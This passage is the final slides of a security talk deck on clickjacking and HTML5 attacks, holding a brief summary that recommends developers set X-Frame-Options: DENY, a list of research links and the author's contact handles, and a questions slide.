  • 47. Summary • UI redressing attacks are improving • HTML5 helps exploiting vulnerabilities • Users can be a weak link too! Devs: Use X-Frame-Options: DENY 47
  • 48. Links • html5sec.org • code.google.com/p/html5security • www.contextis.co.uk/research/white-papers/ clickjacking • blog.kotowicz.net • github.com/koto Twitter: @kkotowicz kkotowicz@securing.pl 48
  • 49. ? 49